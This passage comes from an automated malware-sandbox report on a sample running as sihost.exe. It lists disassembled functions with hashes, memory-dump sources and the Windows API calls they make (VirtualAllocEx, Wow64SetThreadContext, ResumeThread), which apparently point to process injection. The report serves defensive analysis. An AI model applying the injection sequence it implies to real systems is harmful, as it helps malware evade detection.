Instruction ID: d70d7d3acf450b2690687f8b3a6e4f81246d176c550dcd5ea350af102d19a29d
Opcode Fuzzy Hash: 1e84e98b511ecc5a0f980a8bb49f7c96af9d945550d027e2886a59de2bed5fba
Instruction Fuzzy Hash: C141A9B5D002589FCF10CFAAD984AEEFBB1BF49310F20942AE815B7240D735A955CF69

Function 00519358 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00519402

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d995c26474419719689178a22ee8b037ee66ddc10cf28d5b254fe221ba4cebd7
Instruction ID: 8b2375736c2590b8a03618bcee732c81ed42553301847743c8d75a400cdf5373
Opcode Fuzzy Hash: d995c26474419719689178a22ee8b037ee66ddc10cf28d5b254fe221ba4cebd7
Instruction Fuzzy Hash: DB4198B8D002589FCF10CFA9D984AEEFBB1BB49310F20942AE814B7314D775A946CF65

Function 00519220 Relevance: 1.6, APIs: 1, Instructions: 98threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 005192D7

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0faabf7e172b0fe0cbd3634841f41d2d233e133a3309369d4bffad975ee0492d
Instruction ID: 2524fcc53a1efdc176534f5cd9ed3bb7e1f473258ea1921085f2b0442780121d
Opcode Fuzzy Hash: 0faabf7e172b0fe0cbd3634841f41d2d233e133a3309369d4bffad975ee0492d
Instruction Fuzzy Hash: E541BCB4D012599FDB10CFA9D984AEEFFF1BB49314F24842AE414B7244C7389985CF64

Function 00519228 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 005192D7

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fa5be3581c9f277b58ae41bbd6a08448067c4b556e956a8ab052f2b36fa6fb3c
Instruction ID: 8dd91bd48b95a75d1ebcd70b8477e6b33860757eb565c4e7e66ae9e831426b79
Opcode Fuzzy Hash: fa5be3581c9f277b58ae41bbd6a08448067c4b556e956a8ab052f2b36fa6fb3c
Instruction Fuzzy Hash: 8941ACB4D002599FDB10CFAAD884AEEFFF1BB49314F24842AE414B7244D739A985CF54

Function 00519130 Relevance: 1.6, APIs: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 005191B6

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 40f9e16cbe196754f39d146c43f1d8712fdfbde899038dd708fb841f0ee6f8dc
Instruction ID: cd58926bf774a631b89b48f4ee399b8d71ce887e5f247b3b5c81f941e93ebbf5
Opcode Fuzzy Hash: 40f9e16cbe196754f39d146c43f1d8712fdfbde899038dd708fb841f0ee6f8dc
Instruction Fuzzy Hash: 6F31CAB4D00249AFCF10CFA9D884AEEFBB1AB49314F24846AE815B7340C735A945CF94

Function 00519138 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 005191B6

Memory Dump Source

Source File: 0000000C.00000002.456253898.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_510000_sihost.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0233ad2cd06d93e8ba28b4253be0e88bd321ade50e0e136f04c369f5759d4247
Instruction ID: 0be83f09eb1db5c182433efbdb9964e5d2604372bb55bb3210690fbdb6287ab6
Opcode Fuzzy Hash: 0233ad2cd06d93e8ba28b4253be0e88bd321ade50e0e136f04c369f5759d4247
Instruction Fuzzy Hash: F131B9B4D00219AFCF10CFAAD984AEEFBB5BB49314F24942AE815B7300D735A945CF94

Function 00450B00 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

,?, xrefs: 00450C20

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: ,?
API String ID: 0-3465434220
Opcode ID: a28705067995d0b66dceecf863ebad3a5313e6892a4fd3efc2a27693891c9fc3
Instruction ID: 1fa5cc3f3153a21593c13d805c7736f8086cd6e7592bef432efd04fd11d89e4f
Opcode Fuzzy Hash: a28705067995d0b66dceecf863ebad3a5313e6892a4fd3efc2a27693891c9fc3
Instruction Fuzzy Hash: A0419034A002489FC71AEFA8C44599EBBF1AF41301F45C1DAD5499F363DB34CE598B89

Function 0045512A Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

Tep, xrefs: 00455314

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: Tep
API String ID: 0-914316021
Opcode ID: 5663bec6ceea4d6ed1807096c55b8b40bd22f54f762d80719a052f98382a2e9c
Instruction ID: 4eab662bfb20841f0f3869a372c5cafa8a55206f89ec7ad5c66744cac4f6ad16
Opcode Fuzzy Hash: 5663bec6ceea4d6ed1807096c55b8b40bd22f54f762d80719a052f98382a2e9c
Instruction Fuzzy Hash: B0012B30A245809FDB2C9BB884697BE7EA25BC4301F14046EEC039B3D3CD6C4C0AC75A

Function 00455560 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

L, xrefs: 00455568

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2909332022
Opcode ID: 8b9c73bbe038e381fa78dfc02a89744c7aeea8206796ababc0ebb802366224c6
Instruction ID: 9802f8ffb02a3625e77127d3054a40b0a56921a7ea1d5f2b09f2238ea68ef2f8
Opcode Fuzzy Hash: 8b9c73bbe038e381fa78dfc02a89744c7aeea8206796ababc0ebb802366224c6
Instruction Fuzzy Hash: FCF0273131D7808FC7466B346C185AD3F62AF53244B0941EBD886C73A7DE658806C74A

Function 004524A9 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 046fe74675ee447e5e1fb5c5cf49dcc96ce9769a0d6c04636a3e7103955b1c6b
Instruction ID: 9125d27c914f6c58c933eacc7c53b6026e7571040fe2fe5100c6bca4895d7655
Opcode Fuzzy Hash: 046fe74675ee447e5e1fb5c5cf49dcc96ce9769a0d6c04636a3e7103955b1c6b
Instruction Fuzzy Hash: 3831B22512D6CD6FCB938F308C295E53F60EE03601B1896CFDCDA4A183D559A70EDB4A

Function 0045EA78 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57e880aaa6bee929acec1f7ee205db9452665d7c16c407b574a9be46ac453f4b
Instruction ID: d2138433b9fe8c200a6de88744c6f620b146d78da330094ee6d9ef99c6c624c9
Opcode Fuzzy Hash: 57e880aaa6bee929acec1f7ee205db9452665d7c16c407b574a9be46ac453f4b
Instruction Fuzzy Hash: 1E417170A11209EFCB48CFAAD98489EFBB1FB88302F20D8A6C44597365D734DB15CB09

Function 00450AF1 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79e4ecf268cb7c3307c74ce7acdab14e17600247c312ca9f0964d6e31c9af91
Instruction ID: 94bf139d840e6357c34ac8d2a852ffc0f55a45d13a386c08f4901a5f3dd6b492
Opcode Fuzzy Hash: d79e4ecf268cb7c3307c74ce7acdab14e17600247c312ca9f0964d6e31c9af91
Instruction Fuzzy Hash: 1A312534D10208DFC716EF98C549A9EBBB1AF41305F15C1AAD1499F326D735CA88CB45

Function 003FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455389337.00000000003FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 003FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3fd000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d62b314a50793d12debd449bbaa2c488ad25670c95883a71892a0914a81eb837
Instruction ID: e1c8bc08b9749eca13f50a5ac7629e11bdcc5ab9a4f6eba0e0a5eb0b4fbb3e4f
Opcode Fuzzy Hash: d62b314a50793d12debd449bbaa2c488ad25670c95883a71892a0914a81eb837
Instruction Fuzzy Hash: 3F210371604245EFDB16CF14D888B26BB66EB84314F20C569E9094B246CB36D807CB61

Function 003FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455389337.00000000003FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 003FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3fd000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7259144e53eb01335a0e03e84b9da91d0fc92e572ff2013641715279c1651141
Instruction ID: e079dd7402f0c4928ecdfb5b608fb7c00b80f23beb81987d30a522876a47620d
Opcode Fuzzy Hash: 7259144e53eb01335a0e03e84b9da91d0fc92e572ff2013641715279c1651141
Instruction Fuzzy Hash: 4721F571604248EFDB02CF14D9C8B36BB66FB84314F24C969E9494B256C336D846CBA1

Function 003FD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455389337.00000000003FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 003FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3fd000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf7dd3794d067d16b4ae7a7134edf91886693b89e3f1fe336767d5f34ce4921
Instruction ID: c635b53e57fb04818737ec519d60556d016362e67a04ab337e366062756aaf7f
Opcode Fuzzy Hash: cdf7dd3794d067d16b4ae7a7134edf91886693b89e3f1fe336767d5f34ce4921
Instruction Fuzzy Hash: 3A218E755093848FDB03CF24D994715BF72EB46314F29C5EAD8498F2A7C33A980ACB62

Function 0045C8A8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31bcd40e186006706a212cb6ca07cc1db2414989bd1931fd0e32f3e8c53f0eb4
Instruction ID: 678df3a03cfb870340ddaabcc280b5f84f20c68648a6bb300afdbd190e2f9637
Opcode Fuzzy Hash: 31bcd40e186006706a212cb6ca07cc1db2414989bd1931fd0e32f3e8c53f0eb4
Instruction Fuzzy Hash: C511F674E04208EFCB44DFA9C985A9EBBF2EF88301F14C5AAD4189B365D730DA018B44

Function 003FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455389337.00000000003FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 003FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3fd000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 08c08369cf6518ebfcc82a1e11c8b648b2de19cc3c78e8a1310829dad793b8f7
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 34118E75504244DFDB12CF14D5C4B25BB62FB84314F24CAAED9494B656C33AD84ACBA1

Function 004510B7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c57c84d23a1d8e9a91e3b8c3bcb3ea181e9273ee1f0d3854699cd7bf2a2ca35
Instruction ID: 7c3576c5609b349a8f279f169d48c96b7f4d5f95efcb2ed3f6918f9f7f6b4bc9
Opcode Fuzzy Hash: 3c57c84d23a1d8e9a91e3b8c3bcb3ea181e9273ee1f0d3854699cd7bf2a2ca35
Instruction Fuzzy Hash: 2601C470905388DFCB02EF64D9567AD7B719F45300B5085EBC8098F667D6394E0ACB41

Function 0045DEC0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f41e429d2ca0fafb3dd468b6591cd157d465ea070daf281f838e90805d6b73f
Instruction ID: 15f253aa42e9c34eabc0d5ca2666936e9ff3abb32d0bb10ba0102222e4e81b77
Opcode Fuzzy Hash: 8f41e429d2ca0fafb3dd468b6591cd157d465ea070daf281f838e90805d6b73f
Instruction Fuzzy Hash: 09115B75D002599FCB10DFA9D950AEEBBF5FF88301F10806AE914A7381D738AA40CFA5

Function 00450848 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f310d01cd5c4f2f1dba926cd7d31a10e69a819d38e94b03c1a2c1ddc3e9a53f8
Instruction ID: a4e614028797b590dca7f956c7959de6fc8dde6e7d0f66c2d569b7719b3551db
Opcode Fuzzy Hash: f310d01cd5c4f2f1dba926cd7d31a10e69a819d38e94b03c1a2c1ddc3e9a53f8
Instruction Fuzzy Hash: 66010075D0020CDFCB42EFE8C9516DEFFB5EF48300F1089AAD115AB354EA309A059B81

Function 00450D75 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7893bcf4dd5400f5978caf9913eac899ac507103a26729dc1f524d3433c3f549
Instruction ID: ab0911564e193ac35c73e3c5fee96eb6cd91ce028ec9ad884850efc67e2a8b75
Opcode Fuzzy Hash: 7893bcf4dd5400f5978caf9913eac899ac507103a26729dc1f524d3433c3f549
Instruction Fuzzy Hash: F6E092CA05D3AC90C67B63B8A05225E6E08AC027A73850B57DC946545F0E0D898D432F

Function 00451638 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89cf27d939bc79b57e0163006a33cc675f50c730cd34210de76d77ec20d10002
Instruction ID: 6362a9e4e1663b4de3d10723fed6d10cd8ce06bff8348bb86da05fe55499ee00
Opcode Fuzzy Hash: 89cf27d939bc79b57e0163006a33cc675f50c730cd34210de76d77ec20d10002
Instruction Fuzzy Hash: FB01A930510754CBC715EB35C44079D77B36FC6305F504A9ED40A1B252EF789A8A8B57

Function 00455581 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c700c4de470ed52be710780929b8ba9c92dfc2849b0728b670e394196172235
Instruction ID: 9b3b947a1b411554acf422dc0406e707b4032cd62ca926d66584f3834b277e90
Opcode Fuzzy Hash: 4c700c4de470ed52be710780929b8ba9c92dfc2849b0728b670e394196172235
Instruction Fuzzy Hash: C2E0C239320610CFC794BB30B81887D7BA2BFDA25171441ADEC07C3369DE7288028B89

Function 00451110 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a85d15740436b0da79ed8e74ff1ede88e28dcd2fcf96f7f5818a31f443e692
Instruction ID: 3523b2695aff758432fd0ddf1b271ff5014a6caa81fb19f81dc45aa3f60dfbc8
Opcode Fuzzy Hash: 17a85d15740436b0da79ed8e74ff1ede88e28dcd2fcf96f7f5818a31f443e692
Instruction Fuzzy Hash: C4D012B4A0134CEFCB01EFB9D90656E77B9DB44304B5145B9D80997206DA716F049B85

Function 0045053C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9070e0ac2341d8102ef5fc453500007238ea07a99c55e0c6b0d0f623c048af9d
Instruction ID: 93188f9cb93fd0808de29056d31bfa47172417cb65fa5465a56f50f228a6093b
Opcode Fuzzy Hash: 9070e0ac2341d8102ef5fc453500007238ea07a99c55e0c6b0d0f623c048af9d
Instruction Fuzzy Hash: 7BD02235702B2C63822EF62F10002AEB1CE8F82792B40882FF80D83213FD185C0502CE

Function 0045817E Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523ec346e62ba9af02aee02c989c1d76520ac08825d0be0a2dd8c7e68d4c394c
Instruction ID: 352cbffd7cc883992334ce4a9190c8bba113bf92ccdabc8dc510d7b1b3667033
Opcode Fuzzy Hash: 523ec346e62ba9af02aee02c989c1d76520ac08825d0be0a2dd8c7e68d4c394c
Instruction Fuzzy Hash: 55E04235A012148FDB59DB24DA58B69BBF2AF49201F0540E5E90AD7362DBB49E84CF0A

Function 00459188 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320db03fed96a3bcc45c91b0a41f9c9050fee1371288b03b809ea0db955f333b
Instruction ID: d3ce598cdc4573bda24dfaf8d468753bd41c33556c5ed4fa1ac10b4791a64e68
Opcode Fuzzy Hash: 320db03fed96a3bcc45c91b0a41f9c9050fee1371288b03b809ea0db955f333b
Instruction Fuzzy Hash: CDC01231401218ABD750EFB99809B1A7B98D709243F0080A5D80883210E67149108A5A

Function 00455681 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.455694364.0000000000450000.00000040.00000800.00020000.00000000.sdmp, Offset: 00450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_450000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6998a7cd19dff40f625a9390158f5190c13ef4dc4604341fc7ee4fe6e06015
Instruction ID: b1ac71f8d35ed4a0c9ea92c1735bdc9cb084674fb9da5937584c4511186db6e8
Opcode Fuzzy Hash: 3e6998a7cd19dff40f625a9390158f5190c13ef4dc4604341fc7ee4fe6e06015
Instruction Fuzzy Hash: 58C092A404DB908FCB575B608A285827F31BE0270B399C4EBC0C8CE1A7D6E74807C3A6

Analysis Process: sihost.exePID: 3620, Parent PID: 3408COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	18.6%
Total number of Nodes:	59
Total number of Limit Nodes:	0

Executed Functions

Function 009D6E90 Relevance: 7.4, Strings: 5, Instructions: 1116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 009D7823
Gs, xrefs: 009D7351
ds, xrefs: 009D6F46
Gs, xrefs: 009D76CA
Tep, xrefs: 009D784A

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID: Tep$Tep$ds$Gs$Gs
API String ID: 0-3665057645
Opcode ID: dd348d91b2d9c59f9e4fdea54ae5c9429a1db646dd503bc0e484cf4656626c6d
Instruction ID: 074e22393c4cc2e6f778d5e22f3cefff1ecc5b82e5abcc8162a5751e67c511be
Opcode Fuzzy Hash: dd348d91b2d9c59f9e4fdea54ae5c9429a1db646dd503bc0e484cf4656626c6d
Instruction Fuzzy Hash: 99C2B774A01228CFDB65DF64C894BADB7B2FB89304F2095EAD80967359DB359E81CF40

Function 0036A020 Relevance: 3.7, Strings: 1, Instructions: 2462COMMON

Download Yara Rule

Strings

B, xrefs: 0036CAF5

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-1255198513
Opcode ID: 7d1e1a486b90388a0eac35d2bd1e0acefbc58c951302c93b8dbb829025262fb3
Instruction ID: 663ebfedc68da6cc263eeef9415ca236e7c68ae7c7deb3d94206882ef041cdc6
Opcode Fuzzy Hash: 7d1e1a486b90388a0eac35d2bd1e0acefbc58c951302c93b8dbb829025262fb3
Instruction Fuzzy Hash: 6553F431D10B5A8ECB11EF68C884A99F7B1FF95300F55C69AE44977221EB70AAD4CF42

Function 0036E190 Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0805d2971cf0a403da7929c53e042478c7dbb55a39f1b947a822b7d4436a57
Instruction ID: bdc6ebfb1f8d581bf232a5f706c68f4529f0c8b6dc3508bc254ae284267bbd37
Opcode Fuzzy Hash: 3a0805d2971cf0a403da7929c53e042478c7dbb55a39f1b947a822b7d4436a57
Instruction Fuzzy Hash: B9F1D674D00228CFDB55DFA9D884B9DBBB2BF84304F54C5A9D808AB359DB349985CF50

Function 00369300 Relevance: 1.8, APIs: 1, Instructions: 272COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00369495

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 95db5e86281ba3be34a3073f10809670efda15c664e5ca67655209a27961f02b
Instruction ID: 3e51e57ecd41eb8f454b5193354943f7fad184c01753333858f92aae6eecea2d
Opcode Fuzzy Hash: 95db5e86281ba3be34a3073f10809670efda15c664e5ca67655209a27961f02b
Instruction Fuzzy Hash: 9CD1E574E01218CFDB15DFA5C994B9DBBB6BF89300F2080AAD809A7359DB359E85CF50

Function 009D0040 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fcebeab12639226795ab79e3f5694c56b32e009c9025257de753494f28de814
Instruction ID: 9be944bb8224f9b44662b348168e45257049f99228e94b0964a39ed340e36d7d
Opcode Fuzzy Hash: 8fcebeab12639226795ab79e3f5694c56b32e009c9025257de753494f28de814
Instruction Fuzzy Hash: 25825C74E012688FDB64DF69DD94BDDBBB2AB89300F1481EA980DA7365DB315E81CF40

Function 003674C8 Relevance: .7, Instructions: 712COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9525c1beb77772eb2a077cacd6d40eb4cd96c61406dad2a326a1c4b28f77ff5
Instruction ID: c30f2d63f31443c06cffd5bc77dbb282fae56edc7ecb0193d93d8f52ba44d035
Opcode Fuzzy Hash: f9525c1beb77772eb2a077cacd6d40eb4cd96c61406dad2a326a1c4b28f77ff5
Instruction Fuzzy Hash: 5B72F374E042298FDB65DF69C884BEDBBB2BB89304F5085EAD409A7359D7309E81CF50

Function 003669F0 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d616adfce3a38e9f11fd82c87e099f73c34cf4130f43326c5fe26185d11775
Instruction ID: b306a50d36003061dea1b5cec5984b132c61ba0ca2ceda8c8ba4e15243e391d5
Opcode Fuzzy Hash: e3d616adfce3a38e9f11fd82c87e099f73c34cf4130f43326c5fe26185d11775
Instruction Fuzzy Hash: 9252A074A01228CFDB65DF65C894B9DBBB2BF89300F5085EAD409A7359DB319E81CF50

Function 00498748 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f02f2dcc7196a75733ecb24d1889a67ca68bb305e1d1564f43f5074820acb3
Instruction ID: 9b1488cf05d56211d4decf9d337cd7ea57e7de7b4c4f7357bddaf2f7b30b4d27
Opcode Fuzzy Hash: 57f02f2dcc7196a75733ecb24d1889a67ca68bb305e1d1564f43f5074820acb3
Instruction Fuzzy Hash: 28D1A474E012188FDB54DFA5C854BADBBB2FF89300F2491AAD409AB359DB355E81CF50

Function 00499F30 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
